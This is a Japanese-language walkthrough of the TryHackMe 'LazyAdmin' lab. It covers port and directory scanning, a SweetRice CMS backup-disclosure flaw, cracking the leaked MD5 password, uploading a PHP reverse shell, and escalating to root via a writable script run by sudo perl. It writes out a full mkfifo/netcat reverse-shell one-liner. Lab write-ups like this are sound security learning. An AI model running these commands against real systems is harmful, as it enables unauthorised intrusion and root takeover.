TryHackMe(THM):LazyAdmin
目次
Task 1 Lazy Admin
What is the user flag?
とりあえずnmapを実行します。
nmap -sV -sC <$IP>
22番(ssh)と80番(http)の2つのポートが解放されています。
80番ポートが解放されているので、とりあえずブラウザでアクセスしてみると、Apache2のデフォルトページが表示されるだけで、コンテンツは表示されません。
「gobuster」を実行して隠されているディレクトリを調査します。
gobuster dir -u http://<$IP> -w /usr/share/dirb/wordlists/common.txt -t 40
「content」ディレクトリがあることがわかりました。
ブラウザでアクセスすると、「Sweetrice」というコンテンツ管理システム(CMS)を使っていることがわかりました。
searchsploitを使用して、それに関連する脆弱性をチェックします。
searchsploit sweetrice
いくつか表示されている脆弱性から「backup disclosure」を使用してみます。
Webサイトのバックアップにアクセスできるということは、作成されたアカウントを表示できることを意味するからです。
脆弱性の情報を確認するために40718.txtファイルの中身を確認します。
「http://<$IP>/inc/mysql_backup」にアクセスしても見つかりません。
dirbの結果を見直すと、/content/inc/ディレクトリがあるので「http://<$IP>/content/inc/mysql_backup」にアクセスしてみます。
「mysql_bakup_20191129023059-1.5.1.sql」ファイルを開いて中身を確認すると、phpのスクリプトが記述されています。
insert文の中を見ると、ユーザ名/パスワードの組み合わせらしきものがあります。
パスワードはMD5ハッシュ値らしい文字列なので、CrackStationにアクセスして、逆変換します。
これらの資格情報を使用して、/content/asでCMSにログインできるようになりました。
何をすればいいのかわからなかったので、先人の知恵を拝借すると、リバースシェルを設置してコマンドラインからアクセスできるようにするみたいです。
新しくコンソールを起動してnetcatコマンドを実行します。
nc -lvnp 4444
CMSにログインして、左側のペインから[Ads]をクリックします。
「Ads name」には、「reverse_shell」
「Ads code」には、PentestMonkeysGithubの「php-reverse-shell」のコードを貼り付けます。
その際、IPアドレスは自分のKaliのIPアドレス、ポート番号はnetcatで先ほど起動した指定したポート番号に書き換えます。 入力完了後、[Done]ボタンを押下します。
アラートメッセージが表示されますが、無視?してブラウザのタブを新しく表示させて http://<$IP>/content/inc/ads/reverse_shell.php にアクセスします。
netcatコマンドを実行させていたコンソールを見ると、アクセスがあったことが確認できます。
ディレクトリを移動すると、user.txtファイルを見つけることができたので、catコマンドで中身を確認します。
What is the root flag?
特権エスカレーション方法を見つけるために以下のコマンドを実行します。
$ sudo -l
rootとして実行できるperlスクリプトがあります。(backup.pl)
このスクリプトには書き込み権限がありません。
中身を確認すると、1行のだけコードが書かれていて、/etcにある別のスクリプトを実行します。
このスクリプトには書き込み権限があり、ルートで実行できます。
しかし、中身を書き換えようにも「vi」も「nano」を使えません。
ここも先人の知恵を拝借すると、難しいことをせず、catコマンドで中身を確認して、その行をコピーして 「echo」コマンドを使います。
表示された内容をコピー&ペーストした後に中身を変更し実行します。
変更点はIPアドレスを自分のkaliのIPアドレスとポート番号は先ほどnetcatコマンドで使ったポート番号以外にに変更します。 (同じポート番号でも大丈夫かな?) 最後にリダイレクトを忘れずに!
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <$IP> 5554 >/tmp/f' >/etc/copy.sh
新しくコンソールを起動してnetcatコマンドを実行します。
$ nc -lvnp 5554
元のコンソール(リモートマシンに接続しているコンソール)に戻って「/home/itguy/backup.pl」ファイルを起動します。
「/etc/pass.sh」ファイルではありません!
$ sudo /usr/bin/perl /home/itguy/backup.pl
実行後、先ほどnetcatコマンドを実行したコンソールに戻ります。 接続してきたユーザを確認し、ディレクトリを捜索していくと「root.txt」ファイルがあることがわかります。
catコマンドでファイルの中身を確認するとフラグを見つけました。
完了!